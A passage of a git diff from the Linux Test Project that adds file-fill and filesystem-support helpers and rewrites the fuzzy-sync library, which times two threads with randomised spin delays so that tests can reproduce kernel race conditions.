+unsigned long tst_dev_bytes_written(const char *dev);
+
 #endif	/* TST_DEVICE_H__ */
diff --git a/include/tst_fs.h b/include/tst_fs.h
index 73916a6..8b9397c 100644
--- a/include/tst_fs.h
+++ b/include/tst_fs.h
@@ -138,6 +138,15 @@
 int tst_get_path(const char *prog_name, char *buf, size_t buf_len);
 
 /*
+ * Fill a file with specified pattern
+ * @fd: file descriptor
+ * @pattern: pattern
+ * @bs: block size
+ * @bcount: blocks count
+ */
+int tst_fill_fd(int fd, char pattern, size_t bs, size_t bcount);
+
+/*
  * Creates/ovewrites a file with specified pattern
  * @path: path to file
  * @pattern: pattern
@@ -147,6 +156,12 @@
 int tst_fill_file(const char *path, char pattern, size_t bs, size_t bcount);
 
 /*
+ * Return 1 if a specified fiilsystem is supported
+ * Return 0 if a specified fiilsystem isn't supported
+ */
+int tst_fs_is_supported(const char *fs_type);
+
+/*
  * Returns NULL-terminated array of kernel-supported filesystems.
  */
 const char **tst_get_supported_fs_types(void);
diff --git a/include/tst_fuzzy_sync.h b/include/tst_fuzzy_sync.h
index bcc625e..de0402c 100644
--- a/include/tst_fuzzy_sync.h
+++ b/include/tst_fuzzy_sync.h
@@ -1,172 +1,329 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
 /*
- * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
- *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ * Copyright (c) 2017-2018 Richard Palethorpe <rpalethorpe@suse.com>
  */
-/*
- * Fuzzy Synchronisation - abreviated to fzsync
+/**
+ * @file tst_fuzzy_sync.h
+ * Fuzzy Synchronisation - abbreviated to fzsync
  *
- * This library is intended to help reproduce race conditions by providing two
- * thread synchronisation mechanisms. The first is a 'checkpoint' system where
- * each thread will wait indefinitely for the other to enter a checkpoint
- * before continuing. This is acheived by calling tst_fzsync_wait() and/or
- * tst_fzsync_wait_update() at the points you want to synchronise in each
- * thread. This is functionally very similar to using pthread_barrier_wait()
- * with two threads. However tst_fzsync_wait() can be inlined and is
- * guaranteed not to call sleep or futex.
+ * This library is intended to help reproduce race conditions by synchronising
+ * two threads at a given place by marking the range a race may occur
+ * in. Because the exact place where any race occurs is within the kernel,
+ * and therefore impossible to mark accurately, the library may add randomised
+ * delays to either thread in order to help find the exact race timing.
  *
- * The second takes the form a of a delay which is calculated by measuring the
- * time difference between two points in each thread and comparing it to the
- * desired difference (default is zero). Using a delay allows you to
- * synchronise the threads at a point outside of your direct control
- * (e.g. inside the kernel) or just increase the accuracy for the first
- * mechanism. It is acheived using tst_fzsync_delay_{a,b}(),
- * tst_fzsync_time_{a,b}() and tst_fzsync[_wait_]update().
+ * Currently only two way races are explicitly supported, that is races
+ * involving two threads or processes. We refer to the main test thread as
+ * thread A and the child thread as thread B.
+ *
+ * In each thread you need a simple while- or for-loop which the tst_fzsync_*
+ * functions are called in. In the simplest case thread A will look something
+ * like:
+ *
+ * tst_fzsync_pair_reset(&pair, run_thread_b);
+ * while (tst_fzsync_run_a(&pair)) {
+ *	// Perform some setup which must happen before the race
+ *	tst_fzsync_start_race_a(&pair);
+ *	// Do some dodgy syscall
+ *	tst_fzsync_end_race_a(&pair);
+ * }
+ *
+ * Then in thread B (run_thread_b):
+ *
+ * while (tst_fzsync_run_b(&pair)) {
+ *	tst_fzsync_start_race_b(&pair);
+ *	// Do something which can race with the dodgy syscall in A
+ *	tst_fzsync_end_race_b(&pair)
+ * }
+ *
+ * The calls to tst_fzsync_start/end_race and tst_fzsync_run_a/b block (at
+ * least) until both threads have enter them. These functions can only be
+ * called once for each iteration, but further synchronisation points can be
+ * added by calling tst_fzsync_wait_a() and tst_fzsync_wait_b() in each
+ * thread.
+ *
+ * The execution of the loops in threads A and B are bounded by both iteration
+ * count and time. A slow machine is likely to be limited by time and a fast
+ * one by iteration count. The user can use the -i parameter to run the test
+ * multiple times or LTP_TIMEOUT_MUL to give the test more time.
+ *
+ * It is possible to use the library just for tst_fzsync_pair_wait() to get a
+ * basic spin wait. However if you are actually testing a race condition then
+ * it is recommended to use tst_fzsync_start_race_a/b even if the
+ * randomisation is not needed. It provides some semantic information which
+ * may be useful in the future.
  *
  * For a usage example see testcases/cve/cve-2016-7117.c or just run
  * 'git grep tst_fuzzy_sync.h'
+ *
+ * @sa tst_fzsync_pair
  */
 
 #include <sys/time.h>
 #include <time.h>
 #include <math.h>
+#include <stdlib.h>
 #include "tst_atomic.h"
+#include "tst_timer.h"
+#include "tst_safe_pthread.h"
 
-#ifndef CLOCK_MONOTONIC_RAW
-# define CLOCK_MONOTONIC_RAW CLOCK_MONOTONIC
-#endif
+#ifndef TST_FUZZY_SYNC_H__
+#define TST_FUZZY_SYNC_H__
+
+/* how much of exec time is sampling allowed to take */
+#define SAMPLING_SLICE 0.5f
+
+/** Some statistics for a variable */
+struct tst_fzsync_stat {
+	float avg;
+	float avg_dev;
+	float dev_ratio;
+};
 
 /**
- * struct tst_fzsync_pair - the state of a two way synchronisation
- * @avg_diff: Internal; the average time difference over multiple iterations.
- * @avg_diff_trgt: The desired average time difference, defaults to 0.
- * @avg_alpha: The rate at which old diff samples are forgotten,
- *             defaults to 0.25.
- * @avg_dev: Internal; Absolute average deviation.
- * @a: Internal; The time at which call site A was last passed.
- * @b: Internal; The time at which call site B was last passed.
- * @delay: Internal; The size of the delay, positive to delay A,
- *         negative to delay B.
- * @delay_inc: The step size of a delay increment, defaults to 1.
- * @update_gap: The number of iterations between recalculating the delay.
- *              Defaults to 0xF and must be of the form $2^n - 1$
- * @info_gap: The number of iterations between printing some statistics.
- *            Defaults to 0x7FFFF and must also be one less than a power of 2.
- * @a_cntr: Internal; Atomic counter used by fzsync_pair_wait()
- * @b_cntr: Internal; Atomic counter used by fzsync_pair_wait()
- * @exit: Internal; Used by tst_fzsync_pair_exit() and fzsync_pair_wait()
+ * The state of a two way synchronisation or race.
  *
- * This contains all the necessary state for synchronising two points A and
- * B. Where A is the time of an event in one process and B is the time of an
- * event in another process.
+ * This contains all the necessary state for approximately synchronising two
+ * sections of code in different threads.
+ *
+ * Some of the fields can be configured before calling
+ * tst_fzsync_pair_reset(), however this is mainly for debugging purposes. If
+ * a test requires one of the parameters to be modified, we should consider
+ * finding a way of automatically selecting an appropriate value at runtime.
  *
  * Internal fields should only be accessed by library functions.
  */
 struct tst_fzsync_pair {
-	float avg_diff;
-	float avg_diff_trgt;
+	/**
+	 * The rate at which old diff samples are forgotten
+	 *
+	 * Defaults to 0.25.
+	 */
 	float avg_alpha;
-	float avg_dev;
-	struct timespec a;
-	struct timespec b;
-	long delay;
-	long delay_inc;
-	int update_gap;
-	int info_gap;
+	/** Internal; Thread A start time */
+	struct timespec a_start;
+	/** Internal; Thread B start time */
+	struct timespec b_start;
+	/** Internal; Thread A end time */
+	struct timespec a_end;
+	/** Internal; Thread B end time */
+	struct timespec b_end;
+	/** Internal; Avg. difference between a_start and b_start */
+	struct tst_fzsync_stat diff_ss;
+	/** Internal; Avg. difference between a_start and a_end */
+	struct tst_fzsync_stat diff_sa;
+	/** Internal; Avg. difference between b_start and b_end */
+	struct tst_fzsync_stat diff_sb;
+	/** Internal; Avg. difference between a_end and b_end */
+	struct tst_fzsync_stat diff_ab;
+	/** Internal; Number of spins while waiting for the slower thread */
+	int spins;
+	struct tst_fzsync_stat spins_avg;
+	/**
+	 * Internal; Number of spins to use in the delay.
+	 *
+	 * A negative value delays thread A and a positive delays thread B.
+	 */
+	int delay;
+	int delay_bias;
+	/**
+	 *  Internal; The number of samples left or the sampling state.
+	 *
+	 *  A positive value is the number of remaining mandatory
+	 *  samples. Zero or a negative indicate some other state.
+	 */
+	int sampling;
+	/**
+	 * The Minimum number of statistical samples which must be collected.
+	 *
+	 * The minimum number of iterations which must be performed before a
+	 * random delay can be calculated. Defaults to 1024.
+	 */
+	int min_samples;
+	/**
+	 * The maximum allowed proportional average deviation.
+	 *
+	 * A value in the range (0, 1) which gives the maximum average
+	 * deviation which must be attained before random delays can be
+	 * calculated.
+	 *
+	 * It is a ratio of (average_deviation / total_time). The default is
+	 * 0.1, so this allows an average deviation of at most 10%.
+	 */
+	float max_dev_ratio;
+
+	/** Internal; Atomic counter used by fzsync_pair_wait() */
 	int a_cntr;
+	/** Internal; Atomic counter used by fzsync_pair_wait() */
 	int b_cntr;
+	/** Internal; Used by tst_fzsync_pair_exit() and fzsync_pair_wait() */
 	int exit;
+	/**
+	 * The maximum desired execution time as a proportion of the timeout
+	 *
+	 * A value x so that 0 < x < 1 which decides how long the test should
+	 * be run for (assuming the loop limit is not exceeded first).
+	 *
+	 * Defaults to 0.5 (~150 seconds with default timeout).
+	 */
+	float exec_time_p;
+	/** Internal; The test time remaining on tst_fzsync_pair_reset() */
+	float exec_time_start;
+	/**
+	 * The maximum number of iterations to execute during the test
+	 *
+	 * Defaults to a large number, but not too large.
+	 */
+	int exec_loops;
+	/** Internal; The current loop index  */
+	int exec_loop;
+	/** Internal; The second thread or 0 */
+	pthread_t thread_b;
 };
 
+#define CHK(param, low, hi, def) do {					      \
+	pair->param = (pair->param ? pair->param : def);		      \
+	if (pair->param < low)						      \
+		tst_brk(TBROK, #param " is less than the lower bound " #low); \
+	if (pair->param > hi)						      \
+		tst_brk(TBROK, #param " is more than the upper bound " #hi);  \
+	} while (0)
 /**
- * TST_FZSYNC_PAIR_INIT - Default values for struct tst_fzysnc_pair
+ * Ensures that any Fuzzy Sync parameters are properly set
+ *
+ * @relates tst_fzsync_pair
+ *
+ * Usually called from the setup function, it sets default parameter values or
+ * validates any existing non-defaults.
+ *
+ * @sa tst_fzsync_pair_reset()
  */
-#define TST_FZSYNC_PAIR_INIT {	\
-	.avg_alpha = 0.25,	\
-	.delay_inc = 1,	        \
-	.update_gap = 0xF,	\
-	.info_gap = 0x7FFFF     \
+static void tst_fzsync_pair_init(struct tst_fzsync_pair *pair)
+{
+	CHK(avg_alpha, 0, 1, 0.25);
+	CHK(min_samples, 20, INT_MAX, 1024);
+	CHK(max_dev_ratio, 0, 1, 0.1);
+	CHK(exec_time_p, 0, 1, 0.5);
+	CHK(exec_loops, 20, INT_MAX, 3000000);
+}
+#undef CHK
+
+/**
+ * Exit and join thread B if necessary.
+ *
+ * @relates tst_fzsync_pair
+ *
+ * Call this from your cleanup function.
+ */
+static void tst_fzsync_pair_cleanup(struct tst_fzsync_pair *pair)
+{
+	if (pair->thread_b) {
+		tst_atomic_store(1, &pair->exit);
+		SAFE_PTHREAD_JOIN(pair->thread_b, NULL);
+		pair->thread_b = 0;
+	}
 }
 
 /**
- * tst_fzsync_pair_info - Print some synchronisation statistics
+ * Zero some stat fields
+ *
+ * @relates tst_fzsync_stat
+ */
+static void tst_init_stat(struct tst_fzsync_stat *s)
+{
+	s->avg = 0;
+	s->avg_dev = 0;
+}
+
+/**
+ * Reset or initialise fzsync.
+ *
+ * @relates tst_fzsync_pair
+ * @param pair The state structure initialised with TST_FZSYNC_PAIR_INIT.
+ * @param run_b The function defining thread B or NULL.
+ *
+ * Call this from your main test function (thread A), just before entering the
+ * main loop. It will (re)set any variables needed by fzsync and (re)start
+ * thread B using the function provided.
+ *
+ * If you need to use fork or clone to start the second thread/process then
+ * you can pass NULL to run_b and handle starting and stopping thread B
+ * yourself. You may need to place tst_fzsync_pair in some shared memory as
+ * well.
+ *
+ * @sa tst_fzsync_pair_init()
+ */
+static void tst_fzsync_pair_reset(struct tst_fzsync_pair *pair,
+				  void *(*run_b)(void *))
+{
+	tst_fzsync_pair_cleanup(pair);
+
+	tst_init_stat(&pair->diff_ss);
+	tst_init_stat(&pair->diff_sa);
+	tst_init_stat(&pair->diff_sb);
+	tst_init_stat(&pair->diff_ab);
+	tst_init_stat(&pair->spins_avg);
+	pair->delay = 0;
+	pair->sampling = pair->min_samples;
+
+	pair->exec_loop = 0;
+
+	pair->a_cntr = 0;
+	pair->b_cntr = 0;
+	pair->exit = 0;
+	if (run_b)
+		SAFE_PTHREAD_CREATE(&pair->thread_b, 0, run_b, 0);
+
+	pair->exec_time_start = (float)tst_timeout_remaining();
+}
+
+/**
+ * Print stat
+ *
+ * @relates tst_fzsync_stat
+ */
+static inline void tst_fzsync_stat_info(struct tst_fzsync_stat stat,
+					char *unit, char *name)
+{
+	tst_res(TINFO,
+		"%1$-17s: { avg = %3$5.0f%2$s, avg_dev = %4$5.0f%2$s, dev_ratio = %5$.2f }",
+		name, unit, stat.avg, stat.avg_dev, stat.dev_ratio);
+}
+
+/**
+ * Print some synchronisation statistics
+ *
+ * @relates tst_fzsync_pair
  */
 static void tst_fzsync_pair_info(struct tst_fzsync_pair *pair)
 {
-	tst_res(TINFO,
-		"avg_diff = %.0fns, avg_dev = %.0fns, delay = %05ld loops",
-		pair->avg_diff, pair->avg_dev, pair->delay);
+	tst_res(TINFO, "loop = %d, delay_bias = %d",
+		pair->exec_loop, pair->delay_bias);
+	tst_fzsync_stat_info(pair->diff_ss, "ns", "start_a - start_b");
+	tst_fzsync_stat_info(pair->diff_sa, "ns", "end_a - start_a");
+	tst_fzsync_stat_info(pair->diff_sb, "ns", "end_b - start_b");
+	tst_fzsync_stat_info(pair->diff_ab, "ns", "end_a - end_b");
+	tst_fzsync_stat_info(pair->spins_avg, "  ", "spins");
 }
 
-/**
- * tst_fzsync_delay_a - Perform spin delay for A, if needed
- *
- * Usually called just before the point you want to synchronise.
- */
-static inline void tst_fzsync_delay_a(struct tst_fzsync_pair *pair)
-{
-	volatile long spin_delay = pair->delay;
-
-	while (spin_delay > 0)
-		spin_delay--;
-}
-
-/**
- * tst_fzsync_delay_b - Perform spin delay for B, if needed
- *
- * Usually called just before the point you want to synchronise.
- */
-static inline void tst_fzsync_delay_b(struct tst_fzsync_pair *pair)
-{
-	volatile long spin_delay = pair->delay;
-
-	while (spin_delay < 0)
-		spin_delay++;
-}
-
+/** Wraps clock_gettime */
 static inline void tst_fzsync_time(struct timespec *t)
 {
+#ifdef CLOCK_MONOTONIC_RAW
 	clock_gettime(CLOCK_MONOTONIC_RAW, t);
+#else
+	clock_gettime(CLOCK_MONOTONIC, t);
+#endif
 }
 
 /**
- * tst_fzsync_time_a - Set A's time to now.
+ * Exponential moving average
  *
- * Called at the point you want to synchronise.
- */
-static inline void tst_fzsync_time_a(struct tst_fzsync_pair *pair)
-{
-	tst_fzsync_time(&pair->a);
-}
-
-/**
- * tst_fzsync_time_b - Set B's call time to now.
+ * @param alpha The preference for recent samples over old ones.
+ * @param sample The current sample
+ * @param prev_avg The average of the all the previous samples
  *
- * Called at the point you want to synchronise.
- */
-static inline void tst_fzsync_time_b(struct tst_fzsync_pair *pair)
-{
-	tst_fzsync_time(&pair->b);
-}
-
-/**
- * tst_exp_moving_avg - Exponential moving average
- * @alpha: The preference for recent samples over old ones.
- * @sample: The current sample
- * @prev_avg: The average of the all the previous samples
- *
- * Returns average including the current sample.
+ * @return The average including the current sample.
  */
 static inline float tst_exp_moving_avg(float alpha,
 					float sample,
@@ -176,151 +333,413 @@
 }
 
 /**
- * tst_fzsync_pair_update - Recalculate the delay
- * @loop_index: The i in "for(i = 0;..." or zero to ignore update_gap
- * @pair: The state necessary for calculating the delay
+ * Update a stat with a new sample
  *
- * This should be called at the end of each loop to update the average
- * measured time difference (between A and B) and update the delay. It is
- * assumed that A and B are less than a second apart.
- *
- * The values of update_gap, avg_alpha and delay_inc decide the speed at which
- * the algorithm approaches the optimum delay value and whether it is
- * stable. If your test is behaving strangely, it could be because this
- * algorithm is behaving chaotically and flip-flopping between large positve
- * and negative delay values. You can call tst_fzysync_pair_info every few
- * loops to check whether the average difference and delay values are stable.
+ * @relates tst_fzsync_stat
  */
-static void tst_fzsync_pair_update(int loop_index, struct tst_fzsync_pair *pair)
+static inline void tst_upd_stat(struct tst_fzsync_stat *s,
+				 float alpha,
+				 float sample)
 {
-	long diff;
-	long inc = pair->delay_inc;
-	float target = pair->avg_diff_trgt;
-	float avg = pair->avg_diff;
-
-	diff = pair->a.tv_nsec - pair->b.tv_nsec
-		+ 1000000000 * (pair->a.tv_sec - pair->b.tv_sec);
-	avg = tst_exp_moving_avg(pair->avg_alpha, diff, avg);
-	pair->avg_dev = tst_exp_moving_avg(pair->avg_alpha,
-					   fabs(diff - avg),
-					   pair->avg_dev);
-
-	if (!(loop_index & pair->update_gap)) {
-		if (avg > target)
-			pair->delay -= inc;
-		else if (avg < target)
-			pair->delay += inc;
-	}
-
-	if (!(loop_index & pair->info_gap))
-		tst_fzsync_pair_info(pair);
-
-	pair->avg_diff = avg;
+	s->avg = tst_exp_moving_avg(alpha, sample, s->avg);
+	s->avg_dev = tst_exp_moving_avg(alpha,
+					fabs(s->avg - sample), s->avg_dev);
+	s->dev_ratio = fabs(s->avg ? s->avg_dev / s->avg : 0);
 }
 
 /**
- * tst_fzsync_pair_wait - Wait for the other thread
- * @our_cntr: The counter for the thread we are on
- * @other_cntr: The counter for the thread we are synchronising with
+ * Update a stat with a new diff sample
  *
- * Use this (through tst_fzsync_pair_wait_a() and tst_fzsync_pair_wait_b()) if
- * you need an additional synchronisation point in a thread or you do not want
- * to use the delay facility (not recommended). See
- * tst_fzsync_pair_wait_update().
+ * @relates tst_fzsync_stat
+ */
+static inline void tst_upd_diff_stat(struct tst_fzsync_stat *s,
+				     float alpha,
+				     struct timespec t1,
+				     struct timespec t2)
+{
+	tst_upd_stat(s, alpha, tst_timespec_diff_ns(t1, t2));
+}
+
+/**
+ * Calculate various statistics and the delay
  *
- * Returns a non-zero value if the thread should continue otherwise the
+ * This function helps create the fuzz in fuzzy sync. Imagine we have the
+ * following timelines in threads A and B:
+ *
+ *  start_race_a
+ *      ^                    end_race_a (a)
+ *      |                        ^
+ *      |                        |
+ *  - --+------------------------+-- - -
+ *      |        Syscall A       |                 Thread A
+ *  - --+------------------------+-- - -
+ *  - --+----------------+-------+-- - -
+ *      |   Syscall B    | spin  |                 Thread B
+ *  - --+----------------+-------+-- - -
+ *      |                |
+ *      ^                ^
+ *  start_race_b     end_race_b
+ *
+ * Here we have synchronised the calls to syscall A and B with start_race_{a,
+ * b} so that they happen at approximately the same time in threads A and
+ * B. If the race condition occurs during the entry code for these two
+ * functions then we will quickly hit it. If it occurs during the exit code of
+ * B and mid way through A, then we will quickly hit it.
+ *
+ * However if the exit paths of A and B need to be aligned and (end_race_a -
+ * end_race_b) is large relative to the variation in call times, the
+ * probability of hitting the race condition is close to zero. To solve this
+ * scenario (and others) a randomised delay is introduced before the syscalls
+ * in A and B. Given enough time the following should happen where the exit
+ * paths are now synchronised:
+ *
+ *  start_race_a
+ *      ^                    end_race_a (a)
+ *      |                        ^
+ *      |                        |
+ *  - --+------------------------+-- - -
+ *      |        Syscall A       |                 Thread A
+ *  - --+------------------------+-- - -
+ *  - --+-------+----------------+-- - -
+ *      | delay |   Syscall B    |                 Thread B
+ *  - --+-------+----------------+-- - -
+ *      |                        |
+ *      ^                        ^
+ *  start_race_b             end_race_b
+ *
+ * The delay is not introduced immediately and the delay range is only
+ * calculated once the average relative deviation has dropped below some
+ * percentage of the total time.
+ *
+ * The delay range is chosen so that any point in Syscall A could be
+ * synchronised with any point in Syscall B using a value from the
+ * range. Because the delay range may be too large for a linear search, we use
+ * an evenly distributed random function to pick a value from it.
+ *
+ * The delay range goes from positive to negative. A negative delay will delay
+ * thread A and a positive one will delay thread B. The range is bounded by
+ * the point where the entry code to Syscall A is synchronised with the exit
+ * to Syscall B and the entry code to Syscall B is synchronised with the exit
+ * of A.
+ *
+ * In order to calculate the lower bound (the max delay of A) we can simply
+ * negate the execution time of Syscall B and convert it to a spin count. For
+ * the upper bound (the max delay of B), we just take the execution time of A
+ * and convert it to a spin count.
+ *
+ * In order to calculate spin count we need to know approximately how long a
+ * spin takes and divide the delay time with it. We find this by first
+ * counting how many spins one thread spends waiting for the other during
+ * end_race[1]. We also know when each syscall exits so we can take the
+ * difference between the exit times and divide it with the number of spins
+ * spent waiting.
+ *
+ * All the times and counts we use in the calculation are averaged over a
+ * variable number of iterations. There is an initial sampling period where we
+ * simply collect time and count samples then calculate their averages. When a
+ * minimum number of samples have been collected, and if the average deviation
+ * is below some proportion of the average sample magnitude, then the sampling
+ * period is ended. On all further iterations a random delay is calculated and
+ * applied, but the averages are not updated.
+ *
+ * [1] This assumes there is always a significant difference. The algorithm
+ * may fail to introduce a delay (when one is needed) in situations where
+ * Syscall A and B finish at approximately the same time.
+ *
+ * @relates tst_fzsync_pair
+ */
+static void tst_fzsync_pair_update(struct tst_fzsync_pair *pair)
+{
+	float alpha = pair->avg_alpha;
+	float per_spin_time, time_delay;
+	float max_dev = pair->max_dev_ratio;
+	int over_max_dev;
+
+	pair->delay = pair->delay_bias;
+
+	over_max_dev = pair->diff_ss.dev_ratio > max_dev
+		|| pair->diff_sa.dev_ratio > max_dev
+		|| pair->diff_sb.dev_ratio > max_dev
+		|| pair->diff_ab.dev_ratio > max_dev
+		|| pair->spins_avg.dev_ratio > max_dev;
+
+	if (pair->sampling > 0 || over_max_dev) {
+		tst_upd_diff_stat(&pair->diff_ss, alpha,
+				  pair->a_start, pair->b_start);
+		tst_upd_diff_stat(&pair->diff_sa, alpha,
+				  pair->a_end, pair->a_start);
+		tst_upd_diff_stat(&pair->diff_sb, alpha,
+				  pair->b_end, pair->b_start);
+		tst_upd_diff_stat(&pair->diff_ab, alpha,
+				  pair->a_end, pair->b_end);
+		tst_upd_stat(&pair->spins_avg, alpha, pair->spins);
+		if (pair->sampling > 0 && --pair->sampling == 0) {
+			tst_res(TINFO, "Minimum sampling period ended");
+			tst_fzsync_pair_info(pair);
+		}
+	} else if (fabsf(pair->diff_ab.avg) >= 1 && pair->spins_avg.avg >= 1) {
+		per_spin_time = fabsf(pair->diff_ab.avg) / pair->spins_avg.avg;
+		time_delay = drand48() * (pair->diff_sa.avg + pair->diff_sb.avg)
+			- pair->diff_sb.avg;
+		pair->delay += (int)(time_delay / per_spin_time);
+
+		if (!pair->sampling) {
+			tst_res(TINFO,
+				"Reached deviation ratios < %.2f, introducing randomness",
+				pair->max_dev_ratio);
+			tst_res(TINFO, "Delay range is [-%d, %d]",
+				(int)(pair->diff_sb.avg / per_spin_time) + pair->delay_bias,
+				(int)(pair->diff_sa.avg / per_spin_time) - pair->delay_bias);
+			tst_fzsync_pair_info(pair);
+			pair->sampling = -1;
+		}
+	} else if (!pair->sampling) {
+		tst_res(TWARN, "Can't calculate random delay");
+		pair->sampling = -1;
+	}
+
+	pair->spins = 0;
+}
+
+/**
+ * Wait for the other thread
+ *
+ * @relates tst_fzsync_pair
+ * @param our_cntr The counter for the thread we are on
+ * @param other_cntr The counter for the thread we are synchronising with
+ * @param spins A pointer to the spin counter or NULL
+ *
+ * Used by tst_fzsync_pair_wait_a(), tst_fzsync_pair_wait_b(),
+ * tst_fzsync_start_race_a(), etc. If the calling thread is ahead of the other
+ * thread, then it will spin wait. Unlike pthread_barrier_wait it will never
+ * use futex and can count the number of spins spent waiting.
+ *
+ * @return A non-zero value if the thread should continue otherwise the
  * calling thread should exit.
  */
-static inline int tst_fzsync_pair_wait(struct tst_fzsync_pair *pair,
-				       int *our_cntr, int *other_cntr)
+static inline void tst_fzsync_pair_wait(int *our_cntr,
+					int *other_cntr,
+					int *spins)
 {
 	if (tst_atomic_inc(other_cntr) == INT_MAX) {
 		/*
 		 * We are about to break the invariant that the thread with
 		 * the lowest count is in front of the other. So we must wait
-		 * here to ensure the other thread has atleast reached the
+		 * here to ensure the other thread has at least reached the
 		 * line above before doing that. If we are in rear position
 		 * then our counter may already have been set to zero.
 		 */
 		while (tst_atomic_load(our_cntr) > 0
-		       && tst_atomic_load(our_cntr) < INT_MAX
-		       && !tst_atomic_load(&pair->exit))
-			;
+		       && tst_atomic_load(our_cntr) < INT_MAX) {
+			if (spins)
+				(*spins)++;
+		}
 
 		tst_atomic_store(0, other_cntr);
 		/*
 		 * Once both counters have been set to zero the invariant
 		 * is restored and we can continue.
 		 */
-		while (tst_atomic_load(our_cntr) > 1
-		       && !tst_atomic_load(&pair->exit))
+		while (tst_atomic_load(our_cntr) > 1)
 			;
 	} else {
 		/*
 		 * If our counter is less than the other thread's we are ahead
 		 * of it and need to wait.
 		 */
-		while (tst_atomic_load(our_cntr) < tst_atomic_load(other_cntr)
-		       && !tst_atomic_load(&pair->exit))
-			;
+		while (tst_atomic_load(our_cntr) < tst_atomic_load(other_cntr)) {
+			if (spins)
+				(*spins)++;
+		}
+	}
+}
+
+/**
+ * Wait in thread A
+ *
+ * @relates tst_fzsync_pair
+ * @sa tst_fzsync_pair_wait
+ */
+static inline void tst_fzsync_wait_a(struct tst_fzsync_pair *pair)
+{
+	tst_fzsync_pair_wait(&pair->a_cntr, &pair->b_cntr, NULL);
+}
+
+/**
+ * Wait in thread B
+ *
+ * @relates tst_fzsync_pair
+ * @sa tst_fzsync_pair_wait
+ */
+static inline void tst_fzsync_wait_b(struct tst_fzsync_pair *pair)
+{
+	tst_fzsync_pair_wait(&pair->b_cntr, &pair->a_cntr, NULL);
+}
+
+/**
+ * Decide whether to continue running thread A
+ *
+ * @relates tst_fzsync_pair
+ *
+ * Checks some values and decides whether it is time to break the loop of
+ * thread A.
+ *
+ * @return True to continue and false to break.
+ * @sa tst_fzsync_run_a
+ */
+static inline int tst_fzsync_run_a(struct tst_fzsync_pair *pair)
+{
+	int exit = 0;
+	float rem_p = 1 - tst_timeout_remaining() / pair->exec_time_start;
+
+	if ((pair->exec_time_p * SAMPLING_SLICE < rem_p)
+		&& (pair->sampling > 0)) {
+		tst_res(TINFO, "Stopped sampling at %d (out of %d) samples, "
+			"sampling time reached 50%% of the total time limit",
+			pair->exec_loop, pair->min_samples);
+		pair->sampling = 0;
+		tst_fzsync_pair_info(pair);
 	}
 
-	/* Only exit if we have done the same amount of work as the other thread */
-	return !tst_atomic_load(&pair->exit) ||
-	  tst_atomic_load(other_cntr) <= tst_atomic_load(our_cntr);
-}
+	if (pair->exec_time_p < rem_p) {
+		tst_res(TINFO,
+			"Exceeded execution time, requesting exit");
+		exit = 1;
+	}
 
-static inline int tst_fzsync_wait_a(struct tst_fzsync_pair *pair)
-{
-	return tst_fzsync_pair_wait(pair, &pair->a_cntr, &pair->b_cntr);
-}
+	if (++pair->exec_loop > pair->exec_loops) {
+		tst_res(TINFO,
+			"Exceeded execution loops, requesting exit");
+		exit = 1;
+	}
 
-static inline int tst_fzsync_wait_b(struct tst_fzsync_pair *pair)
-{
-	return tst_fzsync_pair_wait(pair, &pair->b_cntr, &pair->a_cntr);
+	tst_atomic_store(exit, &pair->exit);
+	tst_fzsync_wait_a(pair);
+
+	if (exit) {
+		tst_fzsync_pair_cleanup(pair);
+		return 0;
+	}
+
+	return 1;
 }
 
 /**
- * tst_fzsync_pair_wait_update_{a,b} - Wait and then recalculate
+ * Decide whether to continue running thread B
  *
- * This allows you to have two long running threads which wait for each other
- * every iteration. So each thread will exit this function at approximately
- * the same time. It also updates the delay values in a thread safe manner.
+ * @relates tst_fzsync_pair
+ * @sa tst_fzsync_run_a
+ */
+static inline int tst_fzsync_run_b(struct tst_fzsync_pair *pair)
+{
+	tst_fzsync_wait_b(pair);
+	return !tst_atomic_load(&pair->exit);
+}
+
+/**
+ * Marks the start of a race region in thread A
  *
- * You must call this function in both threads the same number of times each
- * iteration. So a call in one thread must match with a call in the
- * other. Make sure that calls to tst_fzsync_pair_wait() and
- * tst_fzsync_pair_wait_update() happen in the same order in each thread. That
- * is, make sure that a call to tst_fzsync_pair_wait_update_a() in one thread
- * corresponds to a call to tst_fzsync_pair_wait_update_b() in the other.
+ * @relates tst_fzsync_pair
  *
- * Returns a non-zero value if the calling thread should continue to loop. If
+ * This should be placed just before performing whatever action can cause a
+ * race condition. Usually it is placed just before a syscall and
+ * tst_fzsync_end_race_a() is placed just afterwards.
+ *
+ * A corresponding call to tst_fzsync_start_race_b() should be made in thread
+ * B.
+ *
+ * @return A non-zero value if the calling thread should continue to loop. If
  * it returns zero then tst_fzsync_exit() has been called and you must exit
  * the thread.
+ *
+ * @sa tst_fzsync_pair_update
  */
-static inline int tst_fzsync_wait_update_a(struct tst_fzsync_pair *pair)
+static inline void tst_fzsync_start_race_a(struct tst_fzsync_pair *pair)
 {
-	static int loop_index;
+	volatile int delay;
 
-	tst_fzsync_pair_wait(pair, &pair->a_cntr, &pair->b_cntr);
-	loop_index++;
-	tst_fzsync_pair_update(loop_index, pair);
-	return tst_fzsync_pair_wait(pair, &pair->a_cntr, &pair->b_cntr);
-}
+	tst_fzsync_pair_update(pair);
 
-static inline int tst_fzsync_wait_update_b(struct tst_fzsync_pair *pair)
-{
-	tst_fzsync_pair_wait(pair, &pair->b_cntr, &pair->a_cntr);
-	return tst_fzsync_pair_wait(pair, &pair->b_cntr, &pair->a_cntr);
+	tst_fzsync_wait_a(pair);
+
+	delay = pair->delay;
+	while (delay < 0)
+		delay++;
+
+	tst_fzsync_time(&pair->a_start);
 }
 
 /**
- * tst_fzsync_pair_exit - Signal that the other thread should exit
+ * Marks the end of a race region in thread A
  *
- * Causes tst_fzsync_pair_wait() and tst_fzsync_pair_wait_update() to return
- * 0.
+ * @relates tst_fzsync_pair
+ * @sa tst_fzsync_start_race_a
  */
-static inline void tst_fzsync_pair_exit(struct tst_fzsync_pair *pair)
+static inline void tst_fzsync_end_race_a(struct tst_fzsync_pair *pair)
 {
